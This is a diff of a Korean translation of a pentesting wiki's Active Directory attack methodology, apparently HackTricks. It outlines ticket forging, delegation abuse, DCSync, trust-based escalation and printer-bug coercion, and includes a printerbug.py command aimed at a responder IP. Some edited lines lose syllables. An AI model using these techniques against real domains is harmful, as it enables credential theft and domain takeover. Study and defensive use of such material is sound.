**티켓 전달 (PTT)** 공격 방법에서 공격자는 **사용자의 인증 티켓을 훔칩니다**. 이 훔친 티켓은 **사용자를 가장하는 데 사용되어** 네트워크 내의 리소스와 서비스에 무단으로 접근하게 됩니다.
{{#ref}}
pass-the-ticket.md
@ -286,7 +286,7 @@ abusing-ad-mssql.md
[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 속성을 가진 컴퓨터 객체를 발견하고 해당 컴퓨터에서 도메인 권한이 있다면, 컴퓨터에 로그인하는 모든 사용자의 TGT를 메모리에서 덤프할 수 있습니다.\
따라서, **도메인 관리자가 컴퓨터에 로그인하면**, 그의 TGT를 덤프하고 [Pass the Ticket](pass-the-ticket.md)를 사용하여 그를 가장할 수 있습니다.\
제약된 위임 덕분에 **프린트 서버를 자동으로 타겟팅**할 수도 있습니다(희망적으로 DC일 것입니다).
제약된 위임 덕분에 **프린트 서버를 자동으로 손상시킬 수 있습니다** (희망적으로 DC일 것입니다).
{{#ref}}
unconstrained-delegation.md
@ -295,7 +295,7 @@ unconstrained-delegation.md
### 제약된 위임
사용자 또는 컴퓨터가 "제약된 위임"을 허용받으면, **특정 서비스에 접근하기 위해 어떤 사용자를 가장할 수 있습니다**.\
그런 다음, 이 사용자/컴퓨터의 **해시를 탈취**하면, **어떤 사용자**(도메인 관리자 포함)를 가장하여 특정 서비스에 접근할 수 있습니다.
그런 다음, 이 사용자/컴퓨터의 **해시를 손상시키면** **모든 사용자를 가장할 수 있습니다** (도메인 관리자 포함) 특정 서비스에 접근하기 위해.
{{#ref}}
constrained-delegation.md
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
### ACL 남용
탈취된 사용자는 **도메인 객체에 대한 흥미로운 권한**을 가질 수 있으며, 이는 사용자가 **측면 이동**/**권한 상승**을 할 수 있게 해줍니다.
손상된 사용자는 **도메인 객체에 대한 흥미로운 권한**을 가질 수 있으며, 이는 사용자가 **측면 이동**/**권한 상승**을 할 수 있게 해줍니다.
{{#ref}}
acl-persistence-abuse/
@ -319,7 +319,7 @@ acl-persistence-abuse/
### 프린터 스풀러 서비스 남용
도메인 내에서 **스풀 서비스가 수신 대기**하고 있는 것을 발견하면, 이를 **남용하여 새로운 자격 증명을 획득**하고 **권한을 상승**시킬 수 있습니다.
도메인 내에서 **스풀 서비스가 수신 대기 중인** 것을 발견하면, 이를 **남용하여 새로운 자격 증명을 획득하고** **권한을 상승**시킬 수 있습니다.
{{#ref}}
printers-spooler-service-abuse.md
@ -327,8 +327,8 @@ printers-spooler-service-abuse.md
### 제3자 세션 남용
**다른 사용자**가 **탈취된** 머신에 **접근**하면, 메모리에서 **자격 증명을 수집**하고 심지어 **그들의 프로세스에 비콘을 주입**하여 그들을 가장할 수 있습니다.\
일반적으로 사용자는 RDP를 통해 시스템에 접근하므로, 여기에서 제3자 RDP 세션에 대한 몇 가지 공격을 수행하는 방법을 제공합니다:
**다른 사용자**가 **손상된** 머신에 **접근**하면, 메모리에서 **자격 증명을 수집**하고 심지어 **그들의 프로세스에 비콘을 주입**하여 그들을 가장할 수 있습니다.\
일반적으로 사용자는 RDP를 통해 시스템에 접근하므로, 여기에서 제3자 RDP 세션에 대한 몇 가지 공격을 수행하는 방법이 있습니다:
{{#ref}}
rdp-sessions-abuse.md
@ -342,9 +342,9 @@ rdp-sessions-abuse.md
laps.md
{{#endref}}
### 인증서 탈취
### 인증서 도난
**탈취된 머신에서 인증서를 수집**하는 것은 환경 내에서 권한을 상승시키는 방법이 될 수 있습니다:
**손상된 머신에서 인증서를 수집하는 것**은 환경 내에서 권한을 상승시키는 방법이 될 수 있습니다:
{{#ref}}
ad-certificates/certificate-theft.md
@ -362,11 +362,11 @@ ad-certificates/domain-escalation.md
### 도메인 자격 증명 덤프
**도메인 관리자** 또는 더 나 **엔터프라이즈 관리자** 권한을 얻으면, **도메인 데이터베이스**를 **덤프**할 수 있습니다: _ntds.dit_.
**도메인 관리자** 또는 더 나아가 **엔터프라이즈 관리자** 권한을 얻으면, **도메인 데이터베이스**를 **덤프**할 수 있습니다: _ntds.dit_.
[**DCSync 공격에 대한 더 많은 정보는 여기에서 찾을 수 있습니다**](dcsync.md).
[**NTDS.dit를 탈취하는 방법에 대한 더 많은 정보는 여기에서 찾을 수 있습니다**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
[**NTDS.dit를 훔치는 방법에 대한 더 많은 정보는 여기에서 찾을 수 있습니다**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### 권한 상승을 위한 지속성
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### 실버 티켓
**실버 티켓 공격**은 특정 서비스에 대한 **정당한 티켓 부여 서비스(TGS) 티켓**을 **NTLM 해시**를 사용하여 생성합니다(예: **PC 계정의 해시**). 이 방법은 **서비스 권한에 접근하기 위해** 사용됩니다.
**실버 티켓 공격**은 특정 서비스에 대한 **정당한 티켓 부여 서비스(TGS) 티켓**을 **NTLM 해시**를 사용하여 생성합니다 (예: **PC 계정의 해시**). 이 방법은 **서비스 권한에 접근하기 위해** 사용됩니다.
{{#ref}}
silver-ticket.md
@ -403,7 +403,7 @@ silver-ticket.md
**골든 티켓 공격**은 공격자가 Active Directory(AD) 환경에서 **krbtgt 계정의 NTLM 해시**에 접근하는 것을 포함합니다. 이 계정은 모든 **티켓 부여 티켓(TGT)**에 서명하는 데 사용되기 때문에 특별합니다. 이는 AD 네트워크 내에서 인증하는 데 필수적입니다.
공격자가 이 해시를 얻으면, 그들은 선택한 모든 계정에 대한 **TGT**를 생성할 수 있습니다(실버 티켓 공격).
공격자가 이 해시를 얻으면, 그들은 선택한 모든 계정에 대한 **TGT**를 생성할 수 있습니다 (실버 티켓 공격).
{{#ref}}
golden-ticket.md
@ -411,7 +411,7 @@ golden-ticket.md
### 다이아몬드 티켓
이들은 일반적인 골든 티켓 탐지 메커니즘을 **우회하는 방식으로 위조된 골든 티켓**과 같습니다.
이들은 일반적인 골든 티켓 탐지 메커니즘을 **우회하는 방식으로 위조된** 골든 티켓과 같습니다.
{{#ref}}
diamond-ticket.md
@ -419,7 +419,7 @@ diamond-ticket.md
### **인증서 계정 지속성**
**계정의 인증서를 보유하거나 요청할 수 있는 것은** 사용자의 계정에 지속적으로 남아 있을 수 있는 매우 좋은 방법입니다(비밀번호를 변경하더라도):
**계정의 인증서를 보유하거나 요청할 수 있는 것**은 사용자의 계정에 지속할 수 있는 매우 좋은 방법입니다 (비밀번호를 변경하더라도):
{{#ref}}
ad-certificates/account-persistence.md
@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
### **인증서 도메인 지속성**
**인증서를 사용하여 도메인 내에서 높은 권한으로 지속할 수도 있습니다:**
**인증서를 사용하여 도메인 내에서 높은 권한으로 지속하는 것도 가능합니다:**
{{#ref}}
ad-certificates/domain-persistence.md
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 그룹
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(도메인 관리자 및 엔터프라이즈 관리자와 같은)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 접근 권한을 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위한 것이지만, 면밀히 모니터링되지 않으면 불법적인 접근을 허용할 수 있습니다.
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(도메인 관리자 및 엔터프라이즈 관리자와 같은)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 액세스를 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위한 것이지만, 면밀히 모니터링되지 않으면 불필요한 접근을 허용할 수 있습니다.
[**AdminDSHolder 그룹에 대한 더 많은 정보는 여기에서 확인할 수 있습니다.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -457,7 +457,7 @@ acl-persistence-abuse/
### 보안 설명자
**보안 설명자**는 **객체**가 **객체**에 대해 가진 **권한**을 **저장**하는 데 사용됩니다. 객체의 **보안 설명자**에 **조금만 변경**을 가하면, 특권 그룹의 구성원이 되지 않고도 해당 객체에 대 매우 흥미로운 권한을 얻을 수 있습니다.
**보안 설명자**는 **객체**가 **객체**에 대해 가진 **권한**을 **저장**하는 데 사용됩니다. 객체의 **보안 설명자**에 **조금만 변경**을 가하면, 특권 그룹의 구성원이 되지 않고도 해당 객체에 대 매우 흥미로운 권한을 얻을 수 있습니다.
{{#ref}}
security-descriptors.md
@ -500,11 +500,11 @@ laps.md
## 포리스트 권한 상승 - 도메인 신뢰
Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단일 도메인을 타겟팅하는 것이 전체 포리스트가 타겟팅될 수 있음을 의미합니다**.
Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단일 도메인을 손상시키는 것이 전체 포리스트가 손상될 수 있음을 의미합니다**.
### 기본 정보
[**도메인 신뢰**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있도록 하는 보안 메커니즘입니다. 이는 두 도메인의 인증 시스템 간의 연결을 생성하여 인증 검증이 원활하게 흐를 수 있도록 합니다. 도메인이 신뢰를 설정하면, 그들은 특정 **키**를 **도메인 컨트롤러(DC)** 내에서 교환하고 유지하여 신뢰의 무결성을 보장합니다.
[**도메인 신뢰**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있도록 하는 보안 메커니즘입니다. 이는 본질적으로 두 도메인의 인증 시스템 간의 연결을 생성하여 인증 검증이 원활하게 흐를 수 있도록 합니다. 도메인이 신뢰를 설정하면, 그들은 특정 **키**를 **도메인 컨트롤러(DC)** 내에서 교환하고 유지하여 신뢰의 무결성을 보장합니다.
일반적인 시나리오에서 사용자가 **신뢰된 도메인**의 서비스에 접근하려면, 먼저 자신의 도메인 DC로부터 **인터-렐름 TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **신뢰된 도메인의 DC**에 제시하여 서비스 티켓(**TGS**)을 받습니다. 신뢰된 도메인의 DC가 인터-렐름 TGT를 성공적으로 검증하면, TGS를 발급하여 사용자가 서비스에 접근할 수 있도록 합니다.
@ -513,10 +513,10 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
1. **도메인 1**의 **클라이언트 컴퓨터**가 **도메인 컨트롤러(DC1)**로부터 **티켓 부여 티켓(TGT)**을 요청하는 과정이 시작됩니다.
2. 클라이언트가 성공적으로 인증되면 DC1은 새로운 TGT를 발급합니다.
3. 클라이언트는 **도메인 2**의 리소스에 접근하기 위해 DC1으로부터 **인터-렐름 TGT**를 요청합니다.
4. 인터-렐름 TGT는 두 방향 도메인 신뢰의 일환으로 DC1과 DC2 간에 공유된 **신뢰 키**로 암호화됩니다.
4. 인터-렐름 TGT는 DC1과 DC2 간의 양방향 도메인 신뢰의 일환으로 공유된 **신뢰 키**로 암호화됩니다.
5. 클라이언트는 인터-렐름 TGT를 **도메인 2의 도메인 컨트롤러(DC2)**로 가져갑니다.
6. DC2는 공유된 신뢰 키를 사용하여 인터-렐름 TGT를 검증하고, 유효한 경우 클라이언트가 접근하고자 하는 도메인 2의 서버에 대한 **티켓 부여 서비스(TGS)**를 발급합니다.
7. 마지막으로 클라이언트는 이 TGS를 서버에 제시하여 도메인 2의 서비스에 접근합니다. 이 TGS는 서버의 계정 해시로 암호화되어 있습니다.
7. 마지막으로, 클라이언트는 이 TGS를 서버에 제시하여 도메인 2의 서비스에 접근합니다. 이 TGS는 서버의 계정 해시로 암호화되어 있습니다.
### 다양한 신뢰
@ -526,30 +526,30 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
**다양한 신뢰 관계**
- **부모-자식 신뢰**: 이는 동일한 포리스트 내에서 일반적인 설정으로, 자식 도메인은 자동으로 부모 도메인과 2방향 전이 신뢰를 가집니다. 본질적으로 이는 인증 요청이 부모와 자식 간에 원활하게 흐를 수 있음을 의미합니다.
- **교차 링크 신뢰**: "단축 신뢰"라고도 하며, 자식 도메인 간에 설정되어 참조 프로세스를 가속화합니다. 복잡한 포리스트에서는 인증 참조가 일반적으로 포리스트 루트로 올라갔다가 목표 도메인으로 내려가야 합니다. 교차 링크를 생성함으로써 여정을 단축할 수 있으며, 이는 지리적으로 분산된 환경에서 특히 유용합니다.
- **외부 신뢰**: 이는 서로 관련이 없는 도메인 간에 설정되며 본질적으로 비전이적입니다. [Microsoft의 문서](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)에 따르면, 외부 신뢰는 현재 포리스트 외부의 도메인에서 리소스에 접근하는 데 유용하며, 포리스트 신뢰로 연결되지 않은 도메인에 해당합니다. SID 필터링을 통해 보안이 강화됩니다.
- **트리 루트 신뢰**: 이러한 신뢰는 포리스트 루트 도메인과 새로 추가된 트리 루트 간에 자동으로 설정됩니다. 일반적으로 자주 발생하지 않지만, 트리 루트 신뢰는 포리스트에 새로운 도메인 트리를 추가하는 데 중요하며, 이를 통해 고유한 도메인 이름을 유지하고 2방향 전이성을 보장합니다. [Microsoft의 가이드](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)에서 더 많은 정보를 찾을 수 있습니다.
- **포리스트 신뢰**: 이 유형의 신뢰는 두 포리스트 루트 도메인 간의 2방향 전이 신뢰로, 보안 조치를 강화하기 위해 SID 필터링을 시행합니다.
- **부모-자식 신뢰**: 이는 동일한 포리스트 내에서 일반적인 설정으로, 자식 도메인은 자동으로 부모 도메인과 방향 전이 신뢰를 가집니다. 본질적으로, 이는 인증 요청이 부모와 자식 간에 원활하게 흐를 수 있음을 의미합니다.
- **교차 링크 신뢰**: "단축 신뢰"라고도 하며, 자식 도메인 간에 설정되어 참조 프로세스를 가속화합니다. 복잡한 포리스트에서는 인증 참조가 일반적으로 포리스트 루트로 올라갔다가 대상 도메인으로 내려가야 합니다. 교차 링크를 생성함으로써 여정을 단축할 수 있으며, 이는 지리적으로 분산된 환경에서 특히 유용합니다.
- **외부 신뢰**: 이는 서로 관련이 없는 도메인 간에 설정되며 본질적으로 비전이적입니다. [Microsoft의 문서](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)에 따르면, 외부 신뢰는 현재 포리스트 외부의 도메인에서 리소스에 접근하는 데 유용하며, 포리스트 신뢰로 연결되지 않은 도메인에서 유용합니다. SID 필터링을 통해 보안이 강화됩니다.
- **트리 루트 신뢰**: 이러한 신뢰는 포리스트 루트 도메인과 새로 추가된 트리 루트 간에 자동으로 설정됩니다. 일반적으로 자주 발생하지 않지만, 트리 루트 신뢰는 포리스트에 새로운 도메인 트리를 추가하는 데 중요하며, 이를 통해 고유한 도메인 이름을 유지하고 방향 전이성을 보장합니다. [Microsoft의 가이드](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)에서 더 많은 정보를 찾을 수 있습니다.
- **포리스트 신뢰**: 이 유형의 신뢰는 두 포리스트 루트 도메인 간의 양방향 전이 신뢰로, SID 필터링을 통해 보안 조치를 강화합니다.
- **MIT 신뢰**: 이러한 신뢰는 비 Windows, [RFC4120 준수](https://tools.ietf.org/html/rfc4120) Kerberos 도메인과 설정됩니다. MIT 신뢰는 좀 더 전문화되어 있으며, Windows 생태계 외부의 Kerberos 기반 시스템과의 통합이 필요한 환경에 맞춰져 있습니다.
#### **신뢰 관계의 다른 차이점**
- 신뢰 관계는 **전이적**일 수 있습니다(A가 B를 신뢰하고, B가 C를 신뢰하면, A가 C를 신뢰함) 또는 **비전이적**일 수 있습니다.
- 신뢰 관계는 **양방향 신뢰**(서로를 신뢰)로 설정되거나 **일방향 신뢰**(한 쪽만 다른 쪽을 신뢰)로 설정될 수 있습니다.
- 신뢰 관계는 **전이적**일 수 있습니다 (A가 B를 신뢰하고, B가 C를 신뢰하면, A가 C를 신뢰함) 또는 **비전이적**일 수 있습니다.
- 신뢰 관계는 **양방향 신뢰**(서로를 신뢰함) 또는 **일방향 신뢰**(한 쪽만 다른 쪽을 신뢰)로 설정될 수 있습니다.
### 공격 경로
1. **신뢰 관계를 열거**합니다.
2. 어떤 **보안 주체**(사용자/그룹/컴퓨터)가 **다른 도메인의 리소스**에 **접근**할 수 있는지 확인합니다. ACE 항목이나 다른 도메인의 그룹에 속해 있을 수 있습니다. **도메인 간의 관계**를 찾아보세요(신뢰가 이 목적을 위해 생성되었을 가능성이 높습니다).
2. 어떤 **보안 주체**(사용자/그룹/컴퓨터)가 **다른 도메인의 리소스**에 **접근**할 수 있는지 확인합니다. ACE 항목이나 다른 도메인의 그룹에 속해 있을 수 있습니다. **도메인 간의 관계**를 찾아보세요 (신뢰가 이 목적을 위해 생성되었을 가능성이 높습니다).
3. 이 경우 kerberoast가 또 다른 옵션이 될 수 있습니다.
4. **계정을 타겟팅**하여 **도메인 간에 피벗**할 수 있습니다.
4. **계정을 손상시켜** 도메인 간에 **피벗**할 수 있습니다.
공격자는 다음 세 가지 주요 메커니즘을 통해 다른 도메인의 리소스에 접근할 수 있습니다:
- **로컬 그룹 구성원 자격**: 주체는 서버의 "관리자" 그룹과 같은 머신의 로컬 그룹에 추가될 수 있으며, 이를 통해 해당 머신에 대한 상당한 제어를 부여받습니다.
- **외부 도메인 그룹 구성원 자격**: 주체는 외부 도메인 내의 그룹의 구성원이 될 수도 있습니다. 그러나 이 방법의 효과는 신뢰의 성격과 그룹의 범위에 따라 달라집니다.
- **액세스 제어 목록(ACL)**: 주체는 **ACL**에 명시될 수 있으며, 특히 **DACL** 내의 **ACE**로서 특정 리소스에 대한 접근을 제공합니다. ACL, DACL 및 ACE의 메커니즘에 대해 더 깊이 파고들고자 하는 분들을 위해, "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)"라는 백서가 귀중한 자료입니다.
- **외부 도메인 그룹 구성원 자격**: 주체는 외부 도메인 내의 그룹의 구성원 수도 있습니다. 그러나 이 방법의 효과는 신뢰의 성격과 그룹의 범위에 따라 달라집니다.
- **액세스 제어 목록(ACL)**: 주체는 **ACL**에 지정될 수 있으며, 특히 **DACL** 내의 **ACE**로서 특정 리소스에 대한 접근을 제공합니다. ACL, DACL 및 ACE의 메커니즘에 대해 더 깊이 파고들고자 하는 분들을 위해, "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)"라는 백서가 귀중한 자료입니다.
### 자식-부모 포리스트 권한 상승
```
@ -586,15 +586,15 @@ Configuration Naming Context (NC)를 악용하는 방법을 이해하는 것은
**루트 DC 사이트에 GPO 연결**
Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 모든 도메인 가입 컴퓨터의 사이트에 대한 정보가 포함되어 있습니다. 모든 DC에서 SYSTEM 권한으로 작업함으로써 공격자는 GPO를 루트 DC 사이트에 연결할 수 있습니다. 이 작업은 이러한 사이트에 적용된 정책을 조작하여 루트 도메인을 잠재적으로 손상시킬 수 있습니다.
Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 모든 도메인 가입 컴퓨터의 사이트에 대한 정보가 포함되어 있습니다. 모든 DC에서 SYSTEM 권한으로 작업함으로써 공격자는 GPO를 루트 DC 사이트에 연결할 수 있습니다. 이 작업은 이러한 사이트에 적용된 정책을 조작하여 루트 도메인을 손상시킬 수 있습니다.
자세한 정보는 [SID 필터 우회](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)에 대한 연구를 탐색할 수 있습니다.
**포리스트 내 모든 gMSA 손상**
공격 벡터는 도메인 내 특권 gMSA를 목표로 하는 것입니다. gMSA의 비밀번호를 계산하는 데 필수적인 KDS Root 키는 Configuration NC 내에 저장됩니다. 모든 DC에서 SYSTEM 권한을 사용하면 KDS Root 키에 접근하고 포리스트 전역의 모든 gMSA에 대한 비밀번호를 계산할 수 있습니다.
공격 벡터는 도메인 내 특권 gMSA를 대상으로 하는 것입니다. gMSA의 비밀번호를 계산하는 데 필수적인 KDS Root 키는 Configuration NC 내에 저장됩니다. 모든 DC에서 SYSTEM 권한을 사용하면 KDS Root 키에 접근하고 포리스트 전역의 모든 gMSA에 대한 비밀번호를 계산할 수 있습니다.
자세한 분석은 [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)에 대한 논의에서 확인할 수 있습니다.
자세한 분석은 [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) 논의에서 확인할 수 있습니다.
**스키마 변경 공격**
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**, 이는 귀하에게 **정해지지 않은 권한**을 부여합니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대해 어떤 주체가 어떤 접근 권한을 가지고 있는지** 찾아야 하며, 그 다음 이를 악용하려고 시도해야 합니다:
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**, 이는 귀하에게 **확인되지 않은 권한**을 부여합니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대해 어떤 주체가 어떤 접근 권한을 가지고 있는지** 찾아야 하며, 그 다음 이를 악용하려고 시도해야 합니다:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -637,9 +637,9 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
이 시나리오에서 **당신의 도메인**은 **다른 도메인**의 주체에게 **권**을 **신뢰**하고 있습니다.
이 시나리오에서 **당신의 도메인**은 **다른 도메인**의 주체에게 **권**을 **신뢰**하고 있습니다.
그러나 **도메인이 신뢰**될 때, 신뢰하는 도메인은 **예측 가능한 이름**을 가진 **사용자**를 **생성**하고 **신뢰된 비밀번호**를 **비밀번호로 사용**합니다. 이는 **신뢰하는 도메인의 사용자에 접근하여 신뢰된 도메인에 들어가** 이를 열거하고 더 많은 특권을 상승시키려는 것이 가능하다는 것을 의미합니다:
그러나 **도메인이 신뢰**될 때, 신뢰하는 도메인은 **예측 가능한 이름**을 가진 **사용자**를 **생성**하고 **신뢰된 비밀번호**를 **비밀번호로 사용**합니다. 이는 **신뢰하는 도메인의 사용자에 접근하여 신뢰된 도메인에 들어가** 이를 열거하고 더 많은 권한을 상승시킬 수 있음을 의미합니다:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -648,7 +648,7 @@ external-forest-domain-one-way-outbound.md
신뢰된 도메인을 손상시키는 또 다른 방법은 도메인 신뢰의 **반대 방향**에 생성된 [**SQL 신뢰 링크**](abusing-ad-mssql.md#mssql-trusted-links)를 찾는 것입니다(이는 그리 흔하지 않습니다).
신뢰된 도메인을 손상시키는 또 다른 방법은 **신뢰된 도메인에서 접근할 수 있는** 머신에서 대기하여 **RDP**를 통해 로그인하는 것입니다. 그런 다음 공격자는 RDP 세션 프로세스에 코드를 주입하고 **피해자의 원래 도메인에 접근**할 수 있습니다.\
게다가, 만약 **피해자가 그의 하드 드라이브를 마운트**했다면, 공격자는 **RDP 세션** 프로세스에서 **하드 드라이브의 시작 폴더**에 **백도어**를 저장할 수 있습니다. 이 기술은 **RDPInception**이라고 불립니다.
게다가, 만약 **피해자가 그의 하드 드라이브를 마운트했다면**, 공격자는 **RDP 세션** 프로세스에서 **하드 드라이브의 시작 폴더**에 **백도어**를 저장할 수 있습니다. 이 기술은 **RDPInception**이라고 불립니다.
{{#ref}}
rdp-sessions-abuse.md
@ -670,7 +670,9 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
{{#endref}}
## 일반적인 방어 방법
@ -679,19 +681,19 @@ rdp-sessions-abuse.md
### **자격 증명 보호를 위한 방어 조치**
- **도메인 관리자 제한**: 도메인 관리자는 도메인 컨트롤러에만 로그인할 수 있도록 권장하며, 다른 호스트에서의 사용은 피해야 합니다.
- **서비스 계정 권**: 보안을 유지하기 위해 서비스는 도메인 관리자(DA) 권으로 실행되어서는 안 됩니다.
- **임시 특권 제한**: DA 특권이 필요한 작업의 경우, 그 기간은 제한되어야 합니다. 이는 다음과 같이 달성할 수 있습니다: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **서비스 계정 **: 보안을 유지하기 위해 서비스는 도메인 관리자(DA) 권으로 실행되어서는 안 됩니다.
- **임시 권한 제한**: DA 권한이 필요한 작업의 경우, 그 기간을 제한해야 합니다. 이는 다음과 같이 달성할 수 있습니다: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **기만 기술 구현**
- 기만을 구현하는 것은 함정 설정을 포함하며, 만료되지 않거나 위임을 위해 신뢰된 것으로 표시된 비밀번호와 같은 기능을 가진 유령 사용자 또는 컴퓨터를 설정하는 것입니다. 구체적인 접근 방식은 특정 권한을 가진 사용자를 생성하거나 높은 특권 그룹에 추가하는 것을 포함합니다.
- 기만을 구현하는 것은 비밀번호가 만료되지 않거나 위임을 위해 신뢰된 것으로 표시된 미끼 사용자 또는 컴퓨터와 같은 함정을 설정하는 것을 포함합니다. 구체적인 접근 방식은 특정 권한을 가진 사용자를 생성하거나 높은 권한 그룹에 추가하는 것입니다.
- 실용적인 예로는 다음과 같은 도구를 사용하는 것입니다: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 기만 기술 배포에 대한 더 많은 정보는 [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)에서 확인할 수 있습니다.
### **기만 식별**
- **사용자 객체의 경우**: 의심스러운 지표에는 비정상적인 ObjectSID, 드문 로그인, 생성 날짜 및 낮은 잘못된 비밀번호 수가 포함됩니다.
- **일반 지표**: 잠재적인 유령 객체의 속성을 진짜 객체의 속성과 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구가 이러한 기만을 식별하는 데 도움을 줄 수 있습니다.
- **일반 지표**: 잠재적인 미끼 객체의 속성을 진짜 객체의 속성과 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구가 이러한 기만을 식별하는 데 도움을 줄 수 있습니다.
### **탐지 시스템 우회**

View File

@ -41,21 +41,23 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### Unconstrained Delegation과 결합
공격자가 이미 [Unconstrained Delegation](unconstrained-delegation.md)으로 컴퓨터를 손상시킨 경우, 공격자는 **프린터가 이 컴퓨터에 대해 인증하도록 만들 수 있습니다**. 비제한 위임으로 인해 **프린터의 컴퓨터 계정의 TGT**가 비제한 위임이 있는 컴퓨터의 **메모리에 저장됩니다**. 공격자가 이미 이 호스트를 손상시켰기 때문에, 그는 **이 티켓을 검색하고 악용할 수 있습니다** ([Pass the Ticket](pass-the-ticket.md)).
공격자가 이미 [Unconstrained Delegation](unconstrained-delegation.md)으로 컴퓨터를 손상시킨 경우, 공격자는 **프린터가 이 컴퓨터에 대해 인증하도록 만들 수 있습니다**. 제약 없는 위임으로 인해 **프린터의 컴퓨터 계정의 TGT**가 **제약 없는 위임이 있는 컴퓨터의 메모리에 저장됩니다**. 공격자가 이미 이 호스트를 손상시켰기 때문에, 그는 **이 티켓을 검색하고 악용할 수 있습니다** ([Pass the Ticket](pass-the-ticket.md)).
## RCP 강제 인증
{% embed url="https://github.com/p0dalirius/Coercer" %}
{{#ref}}
https://github.com/p0dalirius/Coercer
{{#endref}}
## PrivExchange
`PrivExchange` 공격은 **Exchange Server `PushSubscription` 기능**에서 발견된 결함의 결과입니다. 이 기능은 Exchange 서버가 메일박스가 있는 모든 도메인 사용자에 의해 HTTP를 통해 제공된 클라이언트 호스트에 인증하도록 강제할 수 있게 합니다.
`PrivExchange` 공격은 **Exchange Server `PushSubscription` 기능**에서 발견된 결함의 결과입니다. 이 기능은 Exchange 서버가 메일박스가 있는 도메인 사용자가 제공한 클라이언트 호스트에 대해 HTTP를 통해 인증하도록 강제할 수 있게 합니다.
